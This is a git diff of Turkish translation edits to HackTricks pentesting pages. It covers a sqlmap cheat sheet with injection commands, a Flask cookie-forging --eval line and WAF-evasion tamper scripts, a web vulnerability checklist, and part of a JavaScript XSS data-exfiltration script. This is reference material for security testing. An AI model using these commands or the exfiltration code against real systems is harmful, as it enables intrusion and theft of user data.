* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -41,7 +43,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Bilgi Alma
### Bilgi Alımı
#### Dahili
```bash
@ -65,7 +67,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### Burp/ZAP yakalamasından
İsteği yakalayın ve bir req.txt dosyası oluşturun
İsteği yakalayın ve bir req.txt dosyası oluşturun.
```bash
sqlmap -r req.txt --current-user
```
@ -98,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```
### Eval
**Sqlmap**, her yükü göndermeden önce bazı python tek satırlık kodları ile işlemek için `-e` veya `--eval` kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte **flask çerez oturumu** **göndermeden önce flask tarafından bilinen bir gizli anahtarla imzalanmıştır**:
**Sqlmap**, her yükü göndermeden önce bazı python tek satırlık kodları ile işlemek için `-e` veya `--eval` kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte **flask çerez oturumu**, **göndermeden önce flask tarafından bilinen bir anahtar ile imzalanmıştır**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -134,7 +136,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
## Enjeksiyonu Özelleştirme
### Bir ek ayarlayın
### Bir ek belirleyin
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
@ -159,32 +161,32 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlememektedir) |
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
| commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
| concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
| commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
| concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
| charencode.py | Verilen payload'daki tüm karakterleri url-encode eder (zaten kodlanmış olanları işlememektedir) |
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlememektedir). "%u0022" |
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlememektedir). "\u0022" |
| equaltolike.py | Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
| escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır (' ve ") |
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örneğin, .replace("SELECT", "")) filtreleri |
| percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlememektedir) |
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
| sp\_password.py | Payload'un sonuna 'sp\_password' ekler, böylece DBMS günlüklerinden otomatik olarak gizlenir |
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
| sp\_password.py | Payload'un sonuna 'sp\_password' ekler, bu da DBMS günlüklerinden otomatik olarak gizlenmesini sağlar |
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
| space2dash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
| space2morehash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
@ -196,16 +198,18 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
| space2randomblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve |
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
| unmagicquotes.py | Alıntı karakterini (') çok baytlı kombinasyon %bf%27 ile değiştirir, ardından sonunda genel bir yorum ekler (çalışması için) |
| unmagicquotes.py | Alıntı karakterini (') çok baytlı kombinasyon %bf%27 ile değiştirir, sonuna genel bir yorum ekler (çalışması için) |
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,26 +1,35 @@
# Web Vulnerabilities Methodology
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Her Web Pentest'te, **birçok gizli ve belirgin yerin savunmasız olabileceği** durumlar vardır. Bu yazı, tüm olası yerlerde zafiyet aradığınızı doğrulamak için bir kontrol listesi olarak tasarlanmıştır.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Her Web Pentest'te, **vulnerable olabilecek birkaç gizli ve belirgin yer vardır**. Bu gönderi, tüm olası yerlerde güvenlik açıklarını aradığınızı doğrulamak için bir kontrol listesi olarak tasarlanmıştır.
## Proxiler
{% hint style="info" %}
Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da bazı ek zafiyetler gerektirir.
Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar güvenlik açıklarını istismar etmek için (kötüye) kullanılabilir. Bu güvenlik açıklarının var olması için bir vulnerable proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da bazı ek güvenlik açığına ihtiyaç duyarlar.
{% endhint %}
* [ ] [**Hop-by-hop başlıklarının kötüye kullanılması**](abusing-hop-by-hop-headers.md)
@ -36,12 +45,12 @@ Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'
{% hint style="info" %}
Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verir.**\
Verilerin yapısına bağlı olarak, sunucunun beklediği bazı zafiyetler uygulanabilir veya uygulanmayabilir.
Verilerin yapısına bağlı olarak, sunucunun beklediği bazı güvenlik açıkları uygulanabilir veya uygulanmayabilir.
{% endhint %}
### **Yansıtılan Değerler**
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı vulnerable olabilir.
* [ ] [**İstemci Tarafı Şablon Enjeksiyonu**](client-side-template-injection-csti.md)
* [ ] [**Komut Enjeksiyonu**](command-injection.md)
@ -49,7 +58,7 @@ Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitl
* [ ] [**Asılı İşaretleme**](dangling-markup-html-scriptless-injection/)
* [ ] [**Dosya Dahil Etme/Yol Geçişi**](file-inclusion/)
* [ ] [**Açık Yönlendirme**](open-redirect.md)
* [ ] [**XSS için Prototip Kirlenmesi**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Prototip Kirliliği ile XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Sunucu Tarafı İstek Sahteciliği**](ssrf-server-side-request-forgery/)
* [ ] [**Sunucu Tarafı Şablon Enjeksiyonu**](ssti-server-side-template-injection/)
@ -59,7 +68,7 @@ Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitl
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Arama**](xs-search/)
Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Zafiyetleri hızlı bir şekilde test etmek için bazı ilginç poliglotlar bulabilirsiniz:
Bahsedilen bazı güvenlik açıkları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Güvenlik açıklarını hızlı bir şekilde test etmek için bazı ilginç poliglotlar bulabilirsiniz:
{% content-ref url="pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
@ -78,19 +87,19 @@ Eğer işlev, arka uçta bazı verileri aramak için kullanılabiliyorsa, belki
### **Formlar, WebSocket'ler ve PostMsg'ler**
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmesine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmesine izin veren bir form olduğunda güvenlik açıkları ortaya çıkabilir.
* [ ] [**Cross Site İstek Sahteciliği**](csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket kaçırma (CSWSH)**](websocket-attacks.md)
* [ ] [**PostMessage Zafiyetleri**](postmessage-vulnerabilities/)
* [ ] [**PostMessage Güvenlik Açıkları**](postmessage-vulnerabilities/)
### **HTTP Başlıkları**
Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı zafiyetler mevcut olabilir.
Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı güvenlik açıkları mevcut olabilir.
* [ ] [**Clickjacking**](clickjacking.md)
* [ ] [**İçerik Güvenlik Politikası aşma**](content-security-policy-csp-bypass/)
* [ ] [**Çerez Hacking'i**](hacking-with-cookies/)
* [ ] [**Çerez Kırma**](hacking-with-cookies/)
* [ ] [**CORS - Yanlış Yapılandırmalar & Aşma**](cors-bypass.md)
### **Aşmalar**
@ -101,25 +110,25 @@ Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararl
* [ ] [**Ödeme Sürecini Aşma**](bypass-payment-process.md)
* [ ] [**Captcha Aşma**](captcha-bypass.md)
* [ ] [**Giriş Aşma**](login-bypass/)
* [ ] [**Yarış Koşulu**](race-condition.md)
* [ ] [**Yarış Durumu**](race-condition.md)
* [ ] [**Hız Sınırı Aşma**](rate-limit-bypass.md)
* [ ] [**Unutulan Şifreyi Sıfırlama Aşma**](reset-password.md)
* [ ] [**Kayıt Zafiyetleri**](registration-vulnerabilities.md)
* [ ] [**Kayıt Güvenlik Açıkları**](registration-vulnerabilities.md)
### **Yapılandırılmış nesneler / Özel işlevler**
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işleyip işlemediğini belirlemek daha kolaydır.\
Bazı **özel işlevler**, **girişin belirli bir formatı kullanıldığında** da savunmasız olabilir (örneğin, E-posta Başlık Enjeksiyonları).
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiğinden, vulnerable olup olmadığını belirlemek daha kolaydır.\
Bazı **özel işlevler**, **girişin belirli bir formatı kullanıldığında** (örneğin, E-posta Başlık Enjeksiyonları) da vulnerable olabilir.
* [ ] [**Serileştirme**](deserialization/)
* [ ] [**Deserialization**](deserialization/)
* [ ] [**E-posta Başlık Enjeksiyonu**](email-injections.md)
* [ ] [**JWT Zafiyetleri**](hacking-jwt-json-web-tokens.md)
* [ ] [**JWT Güvenlik Açıkları**](hacking-jwt-json-web-tokens.md)
* [ ] [**XML Harici Varlık**](xxe-xee-xml-external-entity.md)
### Dosyalar
Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı savunmasız olabilir.\
Kullanıcı girişini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı vulnerable olabilir.\
Kullanıcı girişini içeren dosyalar üreten işlevler beklenmedik kod çalıştırabilir.\
Kullanıcıların yüklediği veya kullanıcı girişini içeren otomatik olarak oluşturulan dosyaları açan kullanıcılar tehlikeye girebilir.
* [ ] [**Dosya Yükleme**](file-upload/)
@ -132,25 +141,35 @@ Kullanıcıların yüklediği veya kullanıcı girişini içeren otomatik olarak
* [ ] [**OAUTH ile Hesap Ele Geçirme**](oauth-to-account-takeover.md)
* [ ] [**SAML Saldırıları**](saml-attacks/)
### **Diğer Yardımcı Zafiyetler**
### **Diğer Yardımcı Güvenlik Açıkları**
Bu zafiyetler, diğer zafiyetleri istismar etmeye yardımcı olabilir.
Bu güvenlik açıkları, diğer güvenlik açıklarını istismar etmeye yardımcı olabilir.
* [ ] [**Alan/Alt Alan ele geçirme**](domain-subdomain-takeover.md)
* [ ] [**Alan/Alt alan ele geçirme**](domain-subdomain-takeover.md)
* [ ] [**IDOR**](idor.md)
* [ ] [**Parametre Kirlenmesi**](parameter-pollution.md)
* [ ] [**Unicode Normalizasyon zafiyeti**](unicode-injection/)
* [ ] [**Parametre Kirliliği**](parameter-pollution.md)
* [ ] [**Unicode Normalizasyon güvenlik açığı**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -7,11 +7,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -119,6 +123,10 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -128,8 +136,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -15,6 +15,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Yönetim ayrıcalıklarına sahip iyi bilinen gruplar
* **Yönetici**
@ -23,7 +30,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
## Hesap Operatörleri
Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapılmasını sağlar.
Bu grup, alan üzerinde yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapılmasını sağlar.
Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır:
```powershell
